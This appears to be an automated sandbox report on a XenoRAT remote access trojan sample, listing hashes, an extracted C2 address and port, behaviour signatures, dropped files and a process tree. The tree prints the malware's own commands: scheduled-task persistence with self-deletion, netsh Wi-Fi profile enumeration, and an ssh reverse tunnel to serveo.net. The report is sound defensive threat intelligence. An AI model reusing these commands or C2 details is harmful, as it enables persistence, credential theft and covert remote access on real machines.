Analysis

  • max time kernel
    299s
  • max time network
    303s
  • platform
    windows10-1703_x64
  • resource
    win10-20240404-en
  • resource tags

    arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
  • submitted
    26-09-2024 22:45

General

  • Target

    91cfd0498b16d33890d8d4f4f1b69daaad5d703f898f46b811f73e92be19e5ff.exe

  • Size

    9.1MB

  • MD5

    1bafb4856a31ae27271fbd2ee1574a4f

  • SHA1

    b8b3649d959524df2c4e8a94434fc0de90f95005

  • SHA256

    91cfd0498b16d33890d8d4f4f1b69daaad5d703f898f46b811f73e92be19e5ff

  • SHA512

    e71e6ab8f548c379f49ae60e8a179ed13d41a9e9862707f15513af083f754a4585b1567491bc08ecbbd3fb700e307b8114600c9aed297932a34b5f0fe1cebe25

  • SSDEEP

    3072:YaHDgOV/hchoS9bFr/l2Z40o6MLKkZPDOxAWP0:YmM8/DS9bF7knxMFb7D

Malware Config

Extracted

Family

xenorat

C2

193.149.187.135

Mutex

Xeno_rat_nd8912d

Attributes
  • delay

    5000

  • install_path

    appdata

  • port

    4444

  • startup_name

    mswindow

Signatures

  • Detect XenoRat Payload 3 IoCs
  • XenorRat

    XenorRat is a remote access trojan written in C#.

  • Downloads MZ/PE file
  • Executes dropped EXE 9 IoCs
  • Loads dropped DLL 1 IoCs
  • Reads WinSCP keys stored on the system 2 TTPs

    Tries to access WinSCP stored sessions.

  • Reads ssh keys stored on the system 2 TTPs

    Tries to access SSH used by SSH programs.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

  • Delays execution with timeout.exe 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 8 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 38 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\91cfd0498b16d33890d8d4f4f1b69daaad5d703f898f46b811f73e92be19e5ff.exe
    "C:\Users\Admin\AppData\Local\Temp\91cfd0498b16d33890d8d4f4f1b69daaad5d703f898f46b811f73e92be19e5ff.exe"
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3652
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C chcp 65001 && timeout /t 3 > NUL && schtasks /create /tn "91cfd0498b16d33890d8d4f4f1b69daaad5d703f898f46b811f73e92be19e5ff" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\Starlabs\91cfd0498b16d33890d8d4f4f1b69daaad5d703f898f46b811f73e92be19e5ff.exe" /rl HIGHEST /f && DEL /F /S /Q /A "C:\Users\Admin\AppData\Local\Temp\91cfd0498b16d33890d8d4f4f1b69daaad5d703f898f46b811f73e92be19e5ff.exe" &&START "" "C:\Users\Admin\AppData\Local\Starlabs\91cfd0498b16d33890d8d4f4f1b69daaad5d703f898f46b811f73e92be19e5ff.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1096
      • C:\Windows\system32\chcp.com
        chcp 65001
        3⤵
          PID:3320
        • C:\Windows\system32\timeout.exe
          timeout /t 3
          3⤵
          • Delays execution with timeout.exe
          PID:4368
        • C:\Windows\system32\schtasks.exe
          schtasks /create /tn "91cfd0498b16d33890d8d4f4f1b69daaad5d703f898f46b811f73e92be19e5ff" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\Starlabs\91cfd0498b16d33890d8d4f4f1b69daaad5d703f898f46b811f73e92be19e5ff.exe" /rl HIGHEST /f
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:4600
        • C:\Users\Admin\AppData\Local\Starlabs\91cfd0498b16d33890d8d4f4f1b69daaad5d703f898f46b811f73e92be19e5ff.exe
          "C:\Users\Admin\AppData\Local\Starlabs\91cfd0498b16d33890d8d4f4f1b69daaad5d703f898f46b811f73e92be19e5ff.exe"
          3⤵
          • Executes dropped EXE
          • Accesses Microsoft Outlook profiles
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          • outlook_office_path
          • outlook_win_path
          PID:372
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c chcp 65001 && netsh wlan show profiles|findstr /R /C:"[ ]:[ ]"
            4⤵
            • System Network Configuration Discovery: Wi-Fi Discovery
            • Suspicious use of WriteProcessMemory
            PID:2352
            • C:\Windows\system32\chcp.com
              chcp 65001
              5⤵
                PID:1944
              • C:\Windows\system32\netsh.exe
                netsh wlan show profiles
                5⤵
                • Event Triggered Execution: Netsh Helper DLL
                • System Network Configuration Discovery: Wi-Fi Discovery
                PID:1936
              • C:\Windows\system32\findstr.exe
                findstr /R /C:"[ ]:[ ]"
                5⤵
                  PID:916
              • C:\Windows\SYSTEM32\cmd.exe
                "cmd.exe" /c chcp 65001 && netsh wlan show networks mode=bssid | findstr "SSID BSSID Signal"
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:3312
                • C:\Windows\system32\chcp.com
                  chcp 65001
                  5⤵
                    PID:4324
                  • C:\Windows\system32\netsh.exe
                    netsh wlan show networks mode=bssid
                    5⤵
                    • Event Triggered Execution: Netsh Helper DLL
                    PID:4244
                  • C:\Windows\system32\findstr.exe
                    findstr "SSID BSSID Signal"
                    5⤵
                      PID:524
                  • C:\Users\Admin\AppData\Local\Starlabs\OpenSSH-Win32\ssh.exe
                    "C:\Users\Admin\AppData\Local\Starlabs\OpenSSH-Win32\ssh.exe" -o "StrictHostKeyChecking=no" -R 80:127.0.0.1:6989 serveo.net
                    4⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    • System Location Discovery: System Language Discovery
                    PID:1568
                  • C:\Users\Admin\AppData\Roaming\manager.exe
                    "C:\Users\Admin\AppData\Roaming\manager.exe"
                    4⤵
                    • Executes dropped EXE
                    • System Location Discovery: System Language Discovery
                    • Suspicious use of WriteProcessMemory
                    PID:4368
                    • C:\Users\Admin\AppData\Roaming\XenoManager\manager.exe
                      "C:\Users\Admin\AppData\Roaming\XenoManager\manager.exe"
                      5⤵
                      • Executes dropped EXE
                      • System Location Discovery: System Language Discovery
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious behavior: GetForegroundWindowSpam
                      • Suspicious use of AdjustPrivilegeToken
                      • Suspicious use of SetWindowsHookEx
                      • Suspicious use of WriteProcessMemory
                      PID:4532
                      • C:\Windows\SysWOW64\schtasks.exe
                        "schtasks.exe" /Create /TN "mswindow" /XML "C:\Users\Admin\AppData\Local\Temp\tmp43DA.tmp" /F
                        6⤵
                        • System Location Discovery: System Language Discovery
                        • Scheduled Task/Job: Scheduled Task
                        PID:2140
            • C:\Users\Admin\AppData\Local\Starlabs\91cfd0498b16d33890d8d4f4f1b69daaad5d703f898f46b811f73e92be19e5ff.exe
              C:\Users\Admin\AppData\Local\Starlabs\91cfd0498b16d33890d8d4f4f1b69daaad5d703f898f46b811f73e92be19e5ff.exe
              1⤵
              • Executes dropped EXE
              • Suspicious use of AdjustPrivilegeToken
              PID:4236
            • C:\Users\Admin\AppData\Local\Starlabs\91cfd0498b16d33890d8d4f4f1b69daaad5d703f898f46b811f73e92be19e5ff.exe
              C:\Users\Admin\AppData\Local\Starlabs\91cfd0498b16d33890d8d4f4f1b69daaad5d703f898f46b811f73e92be19e5ff.exe
              1⤵
              • Executes dropped EXE
              • Suspicious use of AdjustPrivilegeToken
              PID:2116
            • C:\Users\Admin\AppData\Local\Starlabs\91cfd0498b16d33890d8d4f4f1b69daaad5d703f898f46b811f73e92be19e5ff.exe
              C:\Users\Admin\AppData\Local\Starlabs\91cfd0498b16d33890d8d4f4f1b69daaad5d703f898f46b811f73e92be19e5ff.exe
              1⤵
              • Executes dropped EXE
              • Suspicious use of AdjustPrivilegeToken
              PID:1096
            • C:\Users\Admin\AppData\Local\Starlabs\91cfd0498b16d33890d8d4f4f1b69daaad5d703f898f46b811f73e92be19e5ff.exe
              C:\Users\Admin\AppData\Local\Starlabs\91cfd0498b16d33890d8d4f4f1b69daaad5d703f898f46b811f73e92be19e5ff.exe
              1⤵
              • Executes dropped EXE
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of SetWindowsHookEx
              PID:2884
            • C:\Users\Admin\AppData\Local\Starlabs\91cfd0498b16d33890d8d4f4f1b69daaad5d703f898f46b811f73e92be19e5ff.exe
              C:\Users\Admin\AppData\Local\Starlabs\91cfd0498b16d33890d8d4f4f1b69daaad5d703f898f46b811f73e92be19e5ff.exe
              1⤵
              • Executes dropped EXE
              • Suspicious use of AdjustPrivilegeToken
              PID:1368

            Network

            MITRE ATT&CK Enterprise v15

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            Downloads

            • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\91cfd0498b16d33890d8d4f4f1b69daaad5d703f898f46b811f73e92be19e5ff.exe.log

              Filesize

              847B

              MD5

              a908a7c6e93edeb3e400780b6fe62dde

              SHA1

              36e2b437f41443f6b41b45b35a0f97b2cd94123d

              SHA256

              cae801b0499949178298c1c1a083f7c0febb971d262be9c9588437af66c76ef0

              SHA512

              deb437dcb1440d37bcd61dfa43be05fd01856a1d1e59aa5b2dfa142e9ae584b0577eea024edb99d8e74e3a1b606bb7ae3b4f9cd8eb30813e67dda678b9319cbe

            • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\manager.exe.log

              Filesize

              226B

              MD5

              957779c42144282d8cd83192b8fbc7cf

              SHA1

              de83d08d2cca06b9ff3d1ef239d6b60b705d25fe

              SHA256

              0d7ca7ba65e2b465e4878e324ceab8f8981f5ec06dcf5bc32559a4467a9c7d51

              SHA512

              f1549c61b4f2906d13b2aabb74772c2bc826cd42373d7bb6c48cbb125d5aa2ec17617e6b5e67e8aae3bb5790cc831cdba48a45008ed01df4fba8be448cce39fd

            • C:\Users\Admin\AppData\Local\Starlabs\91cfd0498b16d33890d8d4f4f1b69daaad5d703f898f46b811f73e92be19e5ff.exe

              Filesize

              9.1MB

              MD5

              1bafb4856a31ae27271fbd2ee1574a4f

              SHA1

              b8b3649d959524df2c4e8a94434fc0de90f95005

              SHA256

              91cfd0498b16d33890d8d4f4f1b69daaad5d703f898f46b811f73e92be19e5ff

              SHA512

              e71e6ab8f548c379f49ae60e8a179ed13d41a9e9862707f15513af083f754a4585b1567491bc08ecbbd3fb700e307b8114600c9aed297932a34b5f0fe1cebe25

            • C:\Users\Admin\AppData\Local\Starlabs\OpenSSH-Win32\libcrypto.dll

              Filesize

              1.5MB

              MD5

              79a6e2268dfdba1d94c27f4b17265ff4

              SHA1

              b17eed8cb6f454700f8bfcfd315d5627d3cf741c

              SHA256

              6562ae65844bd9bb6d70908bfb67bc03e85053e6e0673457b0341a7ad5a957d5

              SHA512

              3ebe640a6395f6fbcfb28afe6383b8911f2d30847699dcbcbe1a0f5d9e090a9b7f714d5aa4e6a9891e72109edf494efaf0b7b2bb954e2763b1fbba2946c9723c

            • C:\Users\Admin\AppData\Local\Starlabs\OpenSSH-Win32\ssh.exe

              Filesize

              914KB

              MD5

              d1ce628a81ab779f1e8f7bf7df1bb32c

              SHA1

              011c90c704bb4782001d6e6ce1c647bf2bb17e01

              SHA256

              2afb05a73ddb32ae71ebdc726a9956d844bf8f0deba339928ca8edce6427df71

              SHA512

              de44fff7a679138bae71103190ab450b17590df3c3dde466a54da80d2102a04fc6e12ad65448d9d935e01b577651121184b63133be6cb010aaa32d39786c740f

            • C:\Users\Admin\AppData\Local\Temp\tmp43DA.tmp

              Filesize

              1KB

              MD5

              ff43295eab0b6d30700cf545b83b6a4f

              SHA1

              84dc1111c2387fe2a378ac40d5eb80755de8a833

              SHA256

              ab95865908354ee888dd2ef3dd7b39edd6174fdbd1cb049fe7b3050830640908

              SHA512

              cefb28d7e12adf06f9565df8a9c20b39f6ee9e180c168ab449d376aaa8828faa4a9276b8f1c06b6a8761a076a18dd665eb0cc28837e8c5fa617123f09f935302

            • C:\Users\Admin\AppData\Local\phgsswc3mw\p.dat

              Filesize

              4B

              MD5

              f1404c2624fa7f2507ba04fd9dfc5fb1

              SHA1

              a17c3e6ca0d2c34f8db9cb4d59a0733e888986a7

              SHA256

              88c821898c75be84224d9a912d93bbafd03c098670a8c6ce455e0ede30fa8830

              SHA512

              11f4b213828050c1fc30bd0d618e93663627e367967d5e9ff2afe1feb78c8a19db8ab38f6d976b4f6e48d61922bc873550c4367086f2755a996b1aff2d3c3c48

            • C:\Users\Admin\AppData\Roaming\manager.exe

              Filesize

              51KB

              MD5

              da118f70d089dabfab1b43b4cd87db65

              SHA1

              6d7def883519e1099aa18c6ac2e1357edc7ea685

              SHA256

              7788f402faf2c2221307b0c90b7c97b2235d324abe07ec3965a6c21b33c0b70e

              SHA512

              7a78bbe0eb437bfaba85ee2513d1ccfca65b70e2e33187197d5891ddee42be453d9cadd883b171304135ee0679220e6c88c854572e41378c7968318908eaad3e

            • memory/3652-6-0x00007FFFA44F0000-0x00007FFFA4EDC000-memory.dmp

              Filesize

              9.9MB

            • memory/3652-4-0x00007FFFA44F0000-0x00007FFFA4EDC000-memory.dmp

              Filesize

              9.9MB

            • memory/3652-1-0x0000021720880000-0x00000217208A6000-memory.dmp

              Filesize

              152KB

            • memory/3652-0-0x00007FFFA44F3000-0x00007FFFA44F4000-memory.dmp

              Filesize

              4KB

            • memory/4368-133-0x0000000000D30000-0x0000000000D44000-memory.dmp

              Filesize

              80KB

            • memory/4532-143-0x0000000005D10000-0x0000000005D76000-memory.dmp

              Filesize

              408KB

            • memory/4532-144-0x00000000058A0000-0x00000000058AC000-memory.dmp

              Filesize

              48KB

            • memory/4532-145-0x0000000006640000-0x0000000006B3E000-memory.dmp

              Filesize

              5.0MB

            • memory/4532-146-0x00000000061E0000-0x0000000006272000-memory.dmp

              Filesize

              584KB

            • memory/4532-147-0x0000000006190000-0x000000000619A000-memory.dmp

              Filesize

              40KB